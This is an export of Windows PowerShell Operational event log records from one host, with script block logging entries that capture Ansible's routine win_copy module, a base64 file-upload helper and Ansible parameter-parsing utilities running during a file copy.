AkcmVzdWx0b2JqIC1tZXNzYWdlICRWYWxpZGF0ZVNldEVycm9yTWVzc2FnZQogICAgICAgICAgICB9CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJHZhbHVlID0gJG9iai4kbmFtZQogICAgICAgIH0KICAgIH0gY2F0Y2ggewogICAgICAgIGlmICgkZmFpbGlmZW1wdHkgLWVxICRmYWxzZSkgewogICAgICAgICAgICAkdmFsdWUgPSAkZGVmYXVsdAogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGlmICgtbm90ICRlbXB0eWF0dHJpYnV0ZWZhaWxtZXNzYWdlKSB7CiAgICAgICAgICAgICAg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JHRydWUKICAgICAgICAgICAgICAgICMgY291bGQgc3RpbGwgYmUgYSB2YWxpZC1zaGFwZWQgcGF0aCB3aXRoIGEgbm9uZXhpc3RlbnQgZHJpdmUgbGV0dGVyCiAgICAgICAgICAgICAgICBpZiAoJHZhbHVlIC1tYXRjaCAiXlx3OiIpIHsKICAgICAgICAgICAgICAgICAgICAjIHJld3JpdGUgcGF0aCB3aXRoIGEgdmFsaWQgZHJpdmUgbGV0dGVyIGFuZCByZWNoZWNrIHRoZSBzaGFwZS0gdGhpcyBtaWdodCBzdGlsbCBmYWlsLCBlZywgYSBub25leGlzdGVudCBub24tZmlsZXN5c3RlbSBQUyBwYXRoCiAgICAgICAgICAgICAgICAgICAgaWYgKFRlc3QtUGF0aCAtSXNWYWxpZCAkKEAoR2V0LVBTRHJpdmUgLVBTUHJvdmlkZXIgRmlsZXN5c3RlbSlbMF0uTmFtZSArICR2YWx1ZS5TdWJzdHJpbmcoMSkpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRwYXRoX2ludmFsaWQgPSAkZmFsc2UKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBpZiAoJHBhdGhfaW52YWxpZCkgewogICAgICAgICAgICAgICAgICAgIEZhaWwtSnNvbiAtb2JqICRyZXN1bHRvYmogLW1lc3NhZ2UgIkdldC1BbnNpYmxlUGFyYW06IFBhcmFtZXRlciAnJG5hbWUnIGhhcyBhbiBpbnZhbGlkIHBhdGggJyR2YWx1ZScgc3BlY2lmaWVkLiIKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgInN0ciIpIHsKICAgICAgICAgICAgIyBDb252ZXJ0IHN0ciB0eXBlcyB0byByZWFsIFBvd2Vyc2hlbGwgc3RyaW5ncwogICAgICAgICAgICAkdmFsdWUgPSAkdmFsdWUuVG9TdHJpbmcoKQogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgImJvb2wiKSB7CiAgICAgICAgICAgICMgQ29udmVydCBib29sZWFuIHR5cGVzIHRvIHJlYWwgUG93ZXJzaGVsbCBib29sZWFucwogICAgICAgICAgICAkdmFsdWUgPSAkdmFsdWUgfCBDb252ZXJ0VG8tQm9vbAogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgImludCIpIHsKICAgICAgICAgICAgIyBDb252ZXJ0IGludCB0eXBlcyB0byByZWFsIFBvd2Vyc2hlbGwgaW50ZWdlcnMKICAgICAgICAgICAgJHZhbHVlID0gJHZhbHVlIC1hcyBbaW50XQogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgImZsb2F0IikgewogICAgICAgICAgICAjIENvbnZlcnQgZmxvYXQgdHlwZXMgdG8gcmVhbCBQb3dlcnNoZWxsIGZsb2F0cwogICAgICAgICAgICAkdmFsdWUgPSAkdmFsdWUgLWFzIFtmbG9hdF0KICAgICAgICB9IGVsc2VpZiAoJHR5cGUgLWVxICJsaXN0IikgewogICAgICAgICAgICBpZiAoJHZhbHVlIC1pcyBbYXJyYXldKSB7CiAgICAgICAgICAgICAgICAjIE5vdGhpbmcgdG8gZG8KICAgICAgICAgICAgfSBlbHNlaWYgKCR2YWx1ZSAtaXMgW3N0cmluZ10pIHsKICAgICAgICAgICAgICAgICMgQ29udmVydCBzdHJpbmcgdHlwZSB0byByZWFsIFBvd2Vyc2hlbGwgYXJyYXkKICAgICAgICAgICAgICAgICR2YWx1ZSA9ICR2YWx1ZS5TcGxpdCgiLCIpLlRyaW0oKQogICAgICAgICAgICB9IGVsc2VpZiAoJHZhbHVlIC1pcyBbaW50XSkgewogICAgICAgICAgICAgICAgJHZhbHVlID0gQCgkdmFsdWUpCiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICBGYWlsLUpzb24gLW9iaiAkcmVzdWx0b2JqIC1tZXNzYWdlICJHZXQtQW5zaWJsZVBhcmFtOiBQYXJhbWV0ZXIgJyRuYW1lJyBpcy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VjdCAtVHlwZU5hbWUgU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5TSEE1MTJDcnlwdG9TZXJ2aWNlUHJvdmlkZXIgfQogICAgICAgICAgICBkZWZhdWx0IHsgRmFpbC1Kc29uIEB7fSAiVW5zdXBwb3J0ZWQgaGFzaCBhbGdvcml0aG0gc3VwcGxpZWQgJyRhbGdvcml0aG0nIiB9CiAgICAgICAgfQoKICAgICAgICBJZiAoJFBTVmVyc2lvblRhYmxlLlBTVmVyc2lvbi5NYWpvciAtZ2UgNCkgewogICAgICAgICAgICAkcmF3X2hhc2ggPSBHZXQtRmlsZUhhc2ggJHBhdGggLUFsZ29yaXRobSAkYWxnb3JpdGhtCiAgICAgICAgICAgICRoYXNoID0gJHJhd19oYXNoLkhhc2guVG9Mb3dlcigpCiAgICAgICAgfSBFbHNlIHsKICAgICAgICAgICAgJGZwID0gW1N5c3RlbS5JTy5GaWxlXTo6T3BlbigkcGF0aCwgW1N5c3RlbS5JTy5GaWxlbW
ScriptBlock ID: 72d527fe-7cf8-41cf-8e2e-abf6ec989071
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1656 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3840 | 5092 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:54:09 AM | dfeadd90-ee34-0002-60fc-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is ready for user input | 40962 | 1 | | 4 | 4 | 2 | 0 | 1655 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3840 | 4092 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:54:08 AM | dfeadd90-ee34-0000-34ec-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Stop | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Windows PowerShell has started an IPC listening thread on process: 3840 in AppDomain: DefaultAppDomain. | 53504 | 1 | | 4 | 111 | 10 | 0 | 1654 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3840 | 3616 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:54:08 AM | dfeadd90-ee34-0000-34ec-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Open (async) | PowerShell Named Pipe IPC | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is starting up | 40961 | 1 | | 4 | 4 | 1 | 0 | 1653 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3840 | 4092 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:54:08 AM | dfeadd90-ee34-0000-34ec-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Start | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
begin {
$path = 'C:\Users\Admin\AppData\Local\Temp\ansible-tmp-1611042847.66-223296393288862\source'
$DebugPreference = "Continue"
$ErrorActionPreference = "Stop"
Set-StrictMode -Version 2
$fd = [System.IO.File]::Create($path)
$sha1 = [System.Security.Cryptography.SHA1CryptoServiceProvider]::Create()
$bytes = @() #initialize for empty file case
}
process {
$bytes = [System.Convert]::FromBase64String($input)
$sha1.TransformBlock($bytes, 0, $bytes.Length, $bytes, 0) | Out-Null
$fd.Write($bytes, 0, $bytes.Length)
}
end {
$sha1.TransformFinalBlock($bytes, 0, 0) | Out-Null
$hash = [System.BitConverter]::ToString($sha1.Hash).Replace("-", "").ToLowerInvariant()
$fd.Close()
Write-Output "{""sha1"":""$hash""}"
}
ScriptBlock ID: 8cfb3349-5e37-48ff-9abb-9e2cb57662f1
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1652 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 820 | 4948 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:54:08 AM | dfeadd90-ee34-0001-ba28-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is ready for user input | 40962 | 1 | | 4 | 4 | 2 | 0 | 1651 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 820 | 1164 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:54:08 AM | dfeadd90-ee34-0001-b828-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Stop | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Windows PowerShell has started an IPC listening thread on process: 820 in AppDomain: DefaultAppDomain. | 53504 | 1 | | 4 | 111 | 10 | 0 | 1650 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 820 | 4936 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:54:08 AM | dfeadd90-ee34-0001-b828-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Open (async) | PowerShell Named Pipe IPC | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is starting up | 40961 | 1 | | 4 | 4 | 1 | 0 | 1649 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 820 | 1164 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:54:08 AM | dfeadd90-ee34-0001-b828-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Start | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is ready for user input | 40962 | 1 | | 4 | 4 | 2 | 0 | 1648 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3544 | 1068 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:54:08 AM | dfeadd90-ee34-0001-b628-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Stop | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Windows PowerShell has started an IPC listening thread on process: 3544 in AppDomain: DefaultAppDomain. | 53504 | 1 | | 4 | 111 | 10 | 0 | 1647 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3544 | 4620 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:54:07 AM | dfeadd90-ee34-0001-b628-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Open (async) | PowerShell Named Pipe IPC | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is starting up | 40961 | 1 | | 4 | 4 | 1 | 0 | 1646 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3544 | 1068 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:54:07 AM | dfeadd90-ee34-0001-b628-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Start | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is ready for user input | 40962 | 1 | | 4 | 4 | 2 | 0 | 1645 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 2976 | 2308 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:54:07 AM | dfeadd90-ee34-0000-2aec-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Stop | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Windows PowerShell has started an IPC listening thread on process: 2976 in AppDomain: DefaultAppDomain. | 53504 | 1 | | 4 | 111 | 10 | 0 | 1644 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 2976 | 3076 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:54:07 AM | dfeadd90-ee34-0000-2aec-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Open (async) | PowerShell Named Pipe IPC | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is starting up | 40961 | 1 | | 4 | 4 | 1 | 0 | 1643 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 2976 | 2308 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:54:07 AM | dfeadd90-ee34-0000-2aec-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Start | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
#!powershell
# Copyright: (c) 2015, Jon Hawkesworth (@jhawkesworth) <figs@unity.demon.co.uk>
# Copyright: (c) 2017, Ansible Project
# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)
#Requires -Module Ansible.ModuleUtils.Legacy
$ErrorActionPreference = 'Stop'
$params = Parse-Args -arguments $args -supports_check_mode $true
$check_mode = Get-AnsibleParam -obj $params -name "_ansible_check_mode" -type "bool" -default $false
$diff_mode = Get-AnsibleParam -obj $params -name "_ansible_diff" -type "bool" -default $false
# there are 4 modes to win_copy which are driven by the action plugins:
# explode: src is a zip file which needs to be extracted to dest, for use with multiple files
# query: win_copy action plugin wants to get the state of remote files to check whether it needs to send them
# remote: all copy action is happening remotely (remote_src=True)
# single: a single file has been copied, also used with template
$copy_mode = Get-AnsibleParam -obj $params -name "_copy_mode" -type "str" -default "single" -validateset "explode","query","remote","single"
# used in explode, remote and single mode
$src = Get-AnsibleParam -obj $params -name "src" -type "path" -failifempty ($copy_mode -in @("explode","process","single"))
$dest = Get-AnsibleParam -obj $params -name "dest" -type "path" -failifempty $true
# used in single mode
$original_basename = Get-AnsibleParam -obj $params -name "_original_basename" -type "str"
# used in query and remote mode
$force = Get-AnsibleParam -obj $params -name "force" -type "bool" -default $true
# used in query mode, contains the local files/directories/symlinks that are to be copied
$files = Get-AnsibleParam -obj $params -name "files" -type "list"
$directories = Get-AnsibleParam -obj $params -name "directories" -type "list"
$symlinks = Get-AnsibleParam -obj $params -name "symlinks" -type "list"
$result = @{
changed = $false
}
if ($diff_mode) {
$result.diff = @{}
}
Function Copy-File($source, $dest) {
$diff = ""
$copy_file = $false
$source_checksum = $null
if ($force) {
$source_checksum = Get-FileChecksum -path $source
}
if (Test-Path -Path $dest -PathType Container) {
Fail-Json -obj $result -message "cannot copy file from '$source' to '$dest': dest is already a folder"
} elseif (Test-Path -Path $dest -PathType Leaf) {
if ($force) {
$target_checksum = Get-FileChecksum -path $dest
if ($source_checksum -ne $target_checksum) {
$copy_file = $true
}
}
} else {
$copy_file = $true
}
if ($copy_file) {
$file_dir = [System.IO.Path]::GetDirectoryName($dest)
# validate the parent dir is not a file and that it exists
if (Test-Path -Path $file_dir -PathType Leaf) {
Fail-Json -obj $result -message "cannot copy file from '$source' to '$dest': object at dest parent dir is not a folder"
} elseif (-not (Test-Path -Path $file_dir)) {
# directory doesn't exist, need to create
New-Item -Path $file_dir -ItemType Directory -WhatIf:$check_mode | Out-Null
$diff += "+$file_dir\`n"
}
if (Test-Path -Path $dest -PathType Leaf) {
Remove-Item -Path $dest -Force -Recurse -WhatIf:$check_mode | Out-Null
$diff += "-$dest`n"
}
if (-not $check_mode) {
# cannot run with -WhatIf:$check_mode as if the parent dir didn't
# exist and was created above would still not exist in check mode
Copy-Item -Path $source -Destination $dest -Force | Out-Null
}
$diff += "+$dest`n"
$result.changed = $true
}
# ugly but to save us from running the checksum twice, let's return it for
# the main code to add it to $result
return ,@{ diff = $diff; checksum = $source_checksum }
}
Function Copy-Folder($source, $dest) {
$diff = ""
$copy_folder = $false
if (-not (Test-Path -Path $dest -PathType Container)) {
$parent_dir = [System.IO.Path]::GetDirectoryName($dest)
if (Test-Path -Path $parent_dir -PathType Leaf) {
Fail-Json -obj $result -message "cannot copy file from '$source' to '$dest': object at dest parent dir is not a folder"
}
if (Test-Path -Path $dest -PathType Leaf) {
Fail-Json -obj $result -message "cannot copy folder from '$source' to '$dest': dest is already a file"
}
New-Item -Path $dest -ItemType Container -WhatIf:$check_mode | Out-Null
$diff += "+$dest\`n"
$result.changed = $true
}
$child_items = Get-ChildItem -Path $source -Force
foreach ($child_item in $child_items) {
$dest_child_path = Join-Path -Path $dest -ChildPath $child_item.Name
if ($child_item.PSIsContainer) {
$diff += (Copy-Folder -source $child_item.Fullname -dest $dest_child_path)
} else {
$diff += (Copy-File -source $child_item.Fullname -dest $dest_child_path).diff
}
}
return $diff
}
Function Get-FileSize($path) {
$file = Get-Item -Path $path -Force
$size = $null
if ($file.PSIsContainer) {
$dir_files_sum = Get-ChildItem $file.FullName -Recurse
if ($dir_files_sum -eq $null -or ($dir_files_sum.PSObject.Properties.name -contains 'length' -eq $false)) {
$size = 0
} else {
$size = ($dir_files_sum | Measure-Object -property length -sum).Sum
}
} else {
$size = $file.Length
}
$size
}
Function Extract-Zip($src, $dest) {
$archive = [System.IO.Compression.ZipFile]::Open($src, [System.IO.Compression.ZipArchiveMode]::Read, [System.Text.Encoding]::UTF8)
foreach ($entry in $archive.Entries) {
$archive_name = $entry.FullName
# FullName may be appended with / or \, determine if it is padded and remove it
$padding_length = $archive_name.Length % 4
if ($padding_length -eq 0) {
$is_dir = $false
$base64_name = $archive_name
} elseif ($padding_length -eq 1) {
$is_dir = $true
if ($archive_name.EndsWith("/") -or $archive_name.EndsWith("`\")) {
$base64_name = $archive_name.Substring(0, $archive_name.Length - 1)
} else {
throw "invalid base64 archive name '$archive_name'"
}
} else {
throw "invalid base64 length '$archive_name'"
}
# to handle unicode character, win_copy action plugin has encoded the filename
$decoded_archive_name = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($base64_name))
# re-add the / to the entry full name if it was a directory
if ($is_dir) {
$decoded_archive_name = "$decoded_archive_name/"
}
$entry_target_path = [System.IO.Path]::Combine($dest, $decoded_archive_name)
$entry_dir = [System.IO.Path]::GetDirectoryName($entry_target_path)
if (-not (Test-Path -Path $entry_dir)) {
New-Item -Path $entry_dir -ItemType Directory -WhatIf:$check_mode | Out-Null
}
if ($is_dir -eq $false) {
if (-not $check_mode) {
[System.IO.Compression.ZipFileExtensions]::ExtractToFile($entry, $entry_target_path, $true)
}
}
}
$archive.Dispose() # release the handle of the zip file
}
Function Extract-ZipLegacy($src, $dest) {
if (-not (Test-Path -Path $dest)) {
New-Item -Path $dest -ItemType Directory -WhatIf:$check_mode | Out-Null
}
$shell = New-Object -ComObject Shell.Application
$zip = $shell.NameSpace($src)
$dest_path = $shell.NameSpace($dest)
foreach ($entry in $zip.Items()) {
$is_dir = $entry.IsFolder
$encoded_archive_entry = $entry.Name
# to handle unicode character, win_copy action plugin has encoded the filename
$decoded_archive_entry = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($encoded_archive_entry))
if ($is_dir) {
$decoded_archive_entry = "$decoded_archive_entry/"
}
$entry_target_path = [System.IO.Path]::Combine($dest, $decoded_archive_entry)
$entry_dir = [System.IO.Path]::GetDirectoryName($entry_target_path)
if (-not (Test-Path -Path $entry_dir)) {
New-Item -Path $entry_dir -ItemType Directory -WhatIf:$check_mode | Out-Null
}
if ($is_dir -eq $false -and (-not $check_mode)) {
# https://msdn.microsoft.com/en-us/library/windows/desktop/bb787866.aspx
# From Folder.CopyHere documentation, 1044 means:
# - 1024: do not display a user interface if an error occurs
# - 16: respond with "yes to all" for any dialog box that is displayed
# - 4: do not display a progress dialog box
$dest_path.CopyHere($entry, 1044)
# once file is extraced, we need to rename it with non base64 name
$combined_encoded_path = [System.IO.Path]::Combine($dest, $encoded_archive_entry)
Move-Item -Path $combined_encoded_path -Destination $entry_target_path -Force | Out-Null
}
}
}
if ($copy_mode -eq "query") {
# we only return a list of files/directories that need to be copied over
# the source of the local file will be the key used
$changed_files = @()
$changed_directories = @()
$changed_symlinks = @()
foreach ($file in $files) {
$filename = $file.dest
$local_checksum = $file.checksum
$filepath = Join-Path -Path $dest -ChildPath $filename
if (Test-Path -Path $filepath -PathType Leaf) {
if ($force) {
$checksum = Get-FileChecksum -path $filepath
if ($checksum -ne $local_checksum) {
$will_change = $true
$changed_files += $file
}
}
} elseif (Test-Path -Path $filepath -PathType Container) {
Fail-Json -obj $result -message "cannot copy file to dest '$filepath': object at path is already a directory"
} else {
$changed_files += $file
}
}
foreach ($directory in $directories) {
$dirname = $directory.dest
$dirpath = Join-Path -Path $dest -ChildPath $dirname
$parent_dir = [System.IO.Path]::GetDirectoryName($dirpath)
if (Test-Path -Path $parent_dir -PathType Leaf) {
Fail-Json -obj $result -message "cannot copy folder to dest '$dirpath': object at parent directory path is already a file"
}
if (Test-Path -Path $dirpath -PathType Leaf) {
Fail-Json -obj $result -message "cannot copy folder to dest '$dirpath': object at path is already a file"
} elseif (-not (Test-Path -Path $dirpath -PathType Container)) {
$changed_directories += $directory
}
}
# TODO: Handle symlinks
$result.files = $changed_files
$result.directories = $changed_directories
$result.symlinks = $changed_symlinks
} elseif ($copy_mode -eq "explode") {
# a single zip file containing the files and directories needs to be
# expanded this will always result in a change as the calculation is done
# on the win_copy action plugin and is only run if a change needs to occur
if (-not (Test-Path -Path $src -PathType Leaf)) {
Fail-Json -obj $result -message "Cannot expand src zip file: '$src' as it does not exist"
}
# Detect if the PS zip assemblies are available or whether to use Shell
$use_legacy = $false
try {
Add-Type -AssemblyName System.IO.Compression.FileSystem | Out-Null
Add-Type -AssemblyName System.IO.Compression | Out-Null
} catch {
$use_legacy = $true
}
if ($use_legacy) {
Extract-ZipLegacy -src $src -dest $dest
} else {
Extract-Zip -src $src -dest $dest
}
$result.changed = $true
} elseif ($copy_mode -eq "remote") {
# all copy actions are happening on the remote side (windows host), need
# too copy source and dest using PS code
$result.src = $src
$result.dest = $dest
if (-not (Test-Path -Path $src)) {
Fail-Json -obj $result -message "Cannot copy src file: '$src' as it does not exist"
}
if (Test-Path -Path $src -PathType Container) {
# we are copying a directory or the contents of a directory
$result.operation = 'folder_copy'
if ($src.EndsWith("/") -or $src.EndsWith("`\")) {
# copying the folder's contents to dest
$diff = ""
$child_files = Get-ChildItem -Path $src -Force
foreach ($child_file in $child_files) {
$dest_child_path = Join-Path -Path $dest -ChildPath $child_file.Name
if ($child_file.PSIsContainer) {
$diff += Copy-Folder -source $child_file.FullName -dest $dest_child_path
} else {
$diff += (Copy-File -source $child_file.FullName -dest $dest_child_path).diff
}
}
} else {
# copying the folder and it's contents to dest
$dest = Join-Path -Path $dest -ChildPath (Get-Item -Path $src -Force).Name
$result.dest = $dest
$diff = Copy-Folder -source $src -dest $dest
}
} else {
# we are just copying a single file to dest
$result.operation = 'file_copy'
$source_basename = (Get-Item -Path $src -Force).Name
$result.original_basename = $source_basename
if ($dest.EndsWith("/") -or $dest.EndsWith("`\")) {
$dest = Join-Path -Path $dest -ChildPath (Get-Item -Path $src -Force).Name
$result.dest = $dest
} else {
# check if the parent dir exists, this is only done if src is a
# file and dest if the path to a file (doesn't end with \ or /)
$parent_dir = Split-Path -Path $dest
if (Test-Path -Path $parent_dir -PathType Leaf) {
Fail-Json -obj $result -message "object at destination parent dir '$parent_dir' is currently a file"
} elseif (-not (Test-Path -Path $parent_dir -PathType Container)) {
Fail-Json -obj $result -message "Destination directory '$parent_dir' does not exist"
}
}
$copy_result = Copy-File -source $src -dest $dest
$diff = $copy_result.diff
$result.checksum = $copy_result.checksum
}
# the file might not exist if running in check mode
if (-not $check_mode -or (Test-Path -Path $dest -PathType Leaf)) {
$result.size = Get-FileSize -path $dest
} else {
$result.size = $null
}
if ($diff_mode) {
$result.diff.prepared = $diff
}
} elseif ($copy_mode -eq "single") {
# a single file is located in src and we need to copy to dest, this will
# always result in a change as the calculation is done on the Ansible side
# before this is run. This should also never run in check mode
if (-not (Test-Path -Path $src -PathType Leaf)) {
Fail-Json -obj $result -message "Cannot copy src file: '$src' as it does not exist"
}
# the dest parameter is a directory, we need to append original_basename
if ($dest.EndsWith("/") -or $dest.EndsWith("`\") -or (Test-Path -Path $dest -PathType Container)) {
$remote_dest = Join-Path -Path $dest -ChildPath $original_basename
$parent_dir = Split-Path -Path $remote_dest
# when dest ends with /, we need to create the destination directories
if (Test-Path -Path $parent_dir -PathType Leaf) {
Fail-Json -obj $result -message "object at destination parent dir '$parent_dir' is currently a file"
} elseif (-not (Test-Path -Path $parent_dir -PathType Container)) {
New-Item -Path $parent_dir -ItemType Directory | Out-Null
}
} else {
$remote_dest = $dest
$parent_dir = Split-Path -Path $remote_dest
# check if the dest parent dirs exist, need to fail if they don't
if (Test-Path -Path $parent_dir -PathType Leaf) {
Fail-Json -obj $result -message "object at destination parent dir '$parent_dir' is currently a file"
} elseif (-not (Test-Path -Path $parent_dir -PathType Container)) {
Fail-Json -obj $result -message "Destination directory '$parent_dir' does not exist"
}
}
Copy-Item -Path $src -Destination $remote_dest -Force | Out-Null
$result.changed = $true
}
Exit-Json -obj $result
ScriptBlock ID: 72b39559-6686-4096-aa7a-6460de55dad0
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1642 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 1124 | 808 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 7:54:07 AM | dfeadd90-ee34-0001-9928-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
# Copyright (c), Michael DeHaan <michael.dehaan@gmail.com>, 2014, and others
# Simplified BSD License (see licenses/simplified_bsd.txt or https://opensource.org/licenses/BSD-2-Clause)
Set-StrictMode -Version 2.0
$ErrorActionPreference = "Stop"
